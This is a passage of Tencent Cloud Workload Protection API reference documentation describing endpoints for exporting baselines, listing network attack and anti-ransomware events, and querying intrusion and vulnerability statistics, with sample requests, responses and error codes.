Last updated：2024-12-06 15:41:22

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of baselines.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBaselineList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter criteria: • StrategyId- Uint64 - baseline policy ID • Status - Uint64 - event status: 0: failed; 1: ignored; 3: passed; 5: detecting • BaselineName - String - baseline name • AliasName - String - server name/server IP address • Uuid - String - host UUID
IfDetail	No	Integer	This parameter has been deprecated.

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3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	Download URL of exported file (deprecated) Note: This field may return null, indicating that no valid values can be obtained.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Baseline Check Item List

This example shows you how to export the list of baseline check item.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportBaselineList
&IfDetail=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"TaskId": "1"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportIgnoreBaselineRule

Last updated：2024-12-06 15:41:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export information of ignored baseline detection items.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportIgnoreBaselineRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
RuleName	No	String	Detection item name

3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	This parameter has been discarded.

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TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Ignored Baseline Check Items

This example shows you how to export ignored check items.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportIgnoreBaselineRule
&RuleName="Check item 1"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"RequestId": "requestId",
"TaskId": "12123"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportIgnoreRuleEffectHostList

Last updated：2024-12-06 15:41:21

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of hosts affected by ignored detection items based on detection item IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportIgnoreRuleEffectHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
RuleId	Yes	Integer	Detection item ID
Filters.N	No	Array of Filters	Filtering criteria • AliasName - String - host alias

3. Output Parameters

Parameter	Type	Description

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Name		
DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Hosts Affected by Ignored Check Items

This example shows you how to export the list of affected hosts based on ignored check item ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportIgnoreRuleEffectHostList
&RuleId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"TaskId": "12312",
"RequestId": "d73d4495-1895-43a8-95be-f447b02e253d"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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Advanced Defense APIs
DescribeAttackEvents

Last updated：2024-12-06 15:42:33

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to display the list of network attack detection events in pagination.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAttackEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of returns. The maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter criteria • Type - String attack status. 0: attempted attack; 1: attack succeeded - required: no • Status - String event processing status: 0: pending 1: processed; 2: allowlisted; 3: ignored; 4: deleted - required: no • SrcIP - String source IP - required: no

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			• Uuids - String CWPP UUID - required: no • Quuids - String CVM UUID - required: no • DstPort - String attack target port - required: no • MachineName - String host name - required: no • InstanceID - String host instance ID - required: no • AttackTimeBegin - String attack start time - required: no • AttackTimeEnd - String attack end time - required: no • VulSupportDefense - String: whether the vulnerability can be defended: 0: no;1: yes - required: no
By	No	String	Sort
Order	No	String	Sorting method: ASC, DESC

3. Output Parameters

Parameter Name	Type	Description
List	Array of NetAttackEvent	Attack Event List Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of entries
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Network Attack Event List

This example shows you how to obtain the list of network attack event.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAttackEvents
<Common request parameters>
```

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```
{}
```

Output Example


```
{
"Response": {
"List": [
{
"Count": 6,
"DstPort": 8080,
"Id": 3,
"Location": "",
"MachineExtraInfo": {
"HostName": "",
"InstanceID": "ins-0cvonrya",
"NetworkName": "",
"NetworkType": 0,
"PrivateIP": "10.0.0.5",
"WanIP": "106.52.29.133"
},
"MergeTime": "2023-05-23T19:21:46+08:00",
"PayVersion": 2,
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"SrcIP": "127.0.0.1",
"Status": 0,
"Type": 0,
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"VulDefenceStatus": 0,
"VulId": 101824,
"VulName": "Apache Log4j2 remote code execution vulnerability (CVE-2021-44228)"
"VulSupportDefense": 1
},
{
"Count": 5,
"DstPort": 8080,
"Id": 2,
"Location": "Local area network",
"MachineExtraInfo": {
"HostName": "",
"InstanceID": "ins-0cvonrya",
"NetworkName": "",
"NetworkType": 0,
"PrivateIP": "10.0.0.5",
"WanIP": "106.52.29.133"
},
```


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```
"MergeTime": "2023-05-23T14:43:28+08:00",
"PayVersion": 2,
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"SrcIP": "10.0.0.14",
"Status": 0,
"Type": 0,
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"VulDefenceStatus": 0,
"VulId": 101824,
"VulName": "Apache Log4j2 remote code execution vulnerability (CVE-2021-44228)"
"VulSupportDefense": 1
},
{
"Count": 5,
"DstPort": 8080,
"Id": 1,
"Location": "Local area network",
"MachineExtraInfo": {
"HostName": "",
"InstanceID": "ins-0cvonrya",
"NetworkName": "",
"NetworkType": 0,
"PrivateIP": "10.0.0.5",
"WanIP": "106.52.29.133"
},
"MergeTime": "2023-05-23T14:37:51+08:00",
"PayVersion": 2,
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"SrcIP": "10.0.0.5",
"Status": 0,
"Type": 0,
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"VulDefenceStatus": 0,
"VulId": 101824,
"VulName": "Apache Log4j2 remote code execution vulnerability (CVE-2021-44228)"
"VulSupportDefense": 1
}
],
"RequestId": "dcdbc4d6-54c1-45d5-ab8e-4a7c9275c168",
"TotalCount": 3
}
}
```


5. Developer Resources

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SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeMachineDefenseCnt

Last updated：2024-12-06 15:42:29

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the statistics of advanced defense events for hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineDefenseCnt.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filtering criteria • Uuids - String - required: no - host UUID

3. Output Parameters

Parameter Name	Type	Description

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AttackLogs	Integer	Attack detection statistics
FileTamper	Integer	Core file monitoring statistics
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Statistics on Advanced Defense Events

This example shows you how to query the statistics on advanced defense events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeMachineDefenseCnt
&<Common request parameters>
```

Output Example

```
{
"Response": {
"FileTamper": 1,
"RequestId": " 0aafcd71-9603-4a8c-88c3-2d567a7143e8 ",
"AttackLogs": 1
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeMachineRiskCnt

Last updated：2024-12-06 15:42:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the statistics of host intrusion detection events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineRiskCnt.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • Uuids- String - required: no - host uuid

3. Output Parameters

Parameter Name	Type	Description
HostLogin	Integer	Cross-region log-in

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BruteAttack	Integer	Password cracking
MaliciousRequest	Integer	Malicious request
ReverseShell	Integer	Reverse Shell
Bash	Integer	High-risk command
PrivilegeEscalation	Integer	Local privilege escalation
Malware	Integer	Trojan
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Statistics on Host Intrusion Detection Events

This example shows you how to query the statistics on host intrusion detection events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeMachineRiskCnt
&<Common request parameters>
```

Output Example

```
{
"Response": {
"PrivilegeEscalation": 1,
"Malware": 1,
"ReverseShell": 1,
"BruteAttack": 1,
"MaliciousRequest": 1,
"HostLogin": 1,
"RequestId": "dfeffewafewahr4325fs",
"Bash": 1
}
}
```

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportFileTamperEvents

Last updated：2024-12-06 15:42:23

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export core file events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportFileTamperEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filtering criteria • Status - String - required: no - processing status: 0: pending; 1: added to allowlist; 2: deleted; 3: ignored • ModifyTime - string - required: no - last occurrence time • Uuid - String - required: no - host UUID for querying • RuleCategory - string - required: no - rule category: 0: system rule; 1: custom rule
Fields	No	String	Fields to be exported

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3. Output Parameters

Parameter Name	Type	Description
TaskId	String	The export task ID can be downloaded through the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Core File Events

This example shows you how to export core file events.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportFileTamperEvents
<Common request parameters>

{
"Filters": [
{
"Values": [
"0"
],
"Name": "Level",
"ExactMatch": true
}
]
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TaskId": "1596595610"
```

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```
}
}
```

5. Developer Resources

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAttackVulTypeList

Last updated：2025-03-11 23:29:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of network attack threat types.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAttackVulTypeList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of String	Threat type list

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Network Attack Threat Types

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAttackVulTypeList
<common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
"Command injection",
"fastjson command execution",
"Abnormal threat type"
],
"RequestId": "F00A8503-6233-452E-913E-DAFEE9******"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP

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- Tencent Cloud SDK 3.0 for Go
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeVulLabels

Last updated：2024-12-06 15:42:24

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of all user vulnerability tags.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulLabels.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
List	Array of String	Tag list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulLabels
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "xxx",
"List": [
"Service restart"
]
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.

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DescribeVulOverview

Last updated：2024-12-06 15:42:24

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the data for the vulnerability overview.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulOverview.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
FollowVul	VulOverview	Statistics on focused vulnerabilities
AllVul	VulOverview	Statistics on all vulnerabilities

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EffectHost	VulOverview	Statistics on affected hosts
VulAttackEvent	VulOverview	Statistics on vulnerability attack event (past 1 month)
VulDefenceEvent	VulOverview	Statistics on defended attacks (past 1 month)
VulStore	VulOverview	Vulnerability database statistics
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulOverview
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"EffectHost": {
"TotalCount": 1,
"TodayCount": 0
},
"VulAttackEvent": {
"TotalCount": 1,
"TodayCount": 0
},
"VulDefenceEvent": {
"TotalCount": 1,
"TodayCount": 0
```

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```
},
"FollowVul": {
"TotalCount": 1,
"TodayCount": 0
},
"AllVul": {
"TotalCount": 1,
"TodayCount": 0
},
"VulStore": {
"TotalCount": 1,
"TodayCount": 0
},
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116"
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.
UnauthorizedOperation	Unauthorized operation.

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CheckFileTamperRule

Last updated：2024-12-06 15:42:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to check the rule parameters entered at the core file monitoring frontend.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CheckFileTamperRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Name of rule to be entered
Id	No	Integer	Rule ID passed during editing

3. Output Parameters

Parameter Name	Type	Description

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ErrCode	Integer	0=verification passed; 1=rule name verification failed
ErrMsg	String	Verification information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CheckFileTamperRule
<Common request parameters>

{
"Name": "xx",
"Id": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"ErrCode": 1,
"ErrMsg": "The rule name already exists."
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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DescribeRansomDefenseBackupList

Last updated：2025-03-11 23:29:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of host snapshot backups.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseBackupList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum quantity is 100)
Offset	Yes	Integer	Pagination parameter
Quuid	Yes	String	Host QUUID
Filters.N	No	Array of Filters	Filter criteria • Status - Int - required: no - query by ransom status: 0: not ransomed; 1: ransomed • CreateTimeBegin - string - required: no - start of creation time • CreateTimeEnd - string - required: no - end of creation time

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Order	No	String	Sorting method: ASC / DESC
By	No	String	Sorting field, supporting CreateTime

3. Output Parameters

Parameter Name	Type	Description
List	Array of RansomDefenseBackup	Backup list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Host Snapshot Backup List

This example shows you how to query the host snapshot backup list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseBackupList
<Common request parameters>

{
"Order": "xx",
"Limit": 1,
"Quuid": "xx",
"Filters": [
{
```

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```
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Offset": 1,
"By": "xx"
}
```


Output Example


```
{
"Response": {
"List": [
{
"BackupStatus": 1,
"BackupTime": "2024-10-21 00:00:00",
"DiskCount": 1,
"Disks": "disk-2wnc|adaqlu-test_System disk",
"EventStatus": 0,
"SnapshotIds": "snap-gbz1cigr",
"StrategyId": 5570,
"StrategyName": "tt1",
"StrategyStatus": 1
}
],
"RequestId": "9dae49e7-472a-9c0d-d5c4-e4a4ad9b4e8c",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeRansomDefenseEventsList

Last updated：2025-03-11 23:29:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the anti-ransomware event list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseEventsList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum quantity is 100)
Offset	Yes	Integer	Pagination parameter
Filters.N	No	Array of Filters	Filter criteria • HostName- string- host name • Status - Uint64: 0 - pending; 1 processed; 2 -trusted • HostIp - String - host IP
Order	No	String	Sorting method: ASC / DESC

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By	No	String	Sorting field, supporting CreateTime

3. Output Parameters

Parameter Name	Type	Description
List	Array of RansomDefenseEvent	Event list Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Anti-ransomware Events

This example shows you how to query the list of anti-ransomware events based on the filter parameters.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseEventsList
<Common request parameters>

{
"Limit": "10",
"Offset": "0"
}
```

Output Example

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```
{
"Response": {
"List": [
{
"BaitFilePath": "/home/.yjfile/121hcXh.doc",
"CreateTime": "2024-05-14 11:01:02",
"FileMd5": "708c8760385810080c4d17fa84d325ca",
"FilePath": "/usr/bin/bash",
"FileSize": 964536,
"HostIp": "1.1.1.1",
"HostName": "Machine name",
"Id": 10001,
"InstanceId": "ins-qwea",
"ModifyTime": "2024-07-19 17:59:03",
"Pid": 32254,
"PidParam": "bash -c echo \"Csip data test\" >> /home/.yjfile/121hcXh.doc 1>&2",
"ProcessStartTime": "2024-05-14 11:01:02",
"PsTree": "W3sicGlkIjozMjI1NCwiZXhlIjoiL3Vzci9iaW4vYmFzaCIsImNtZGxpbmUiOiJiYXNoIC
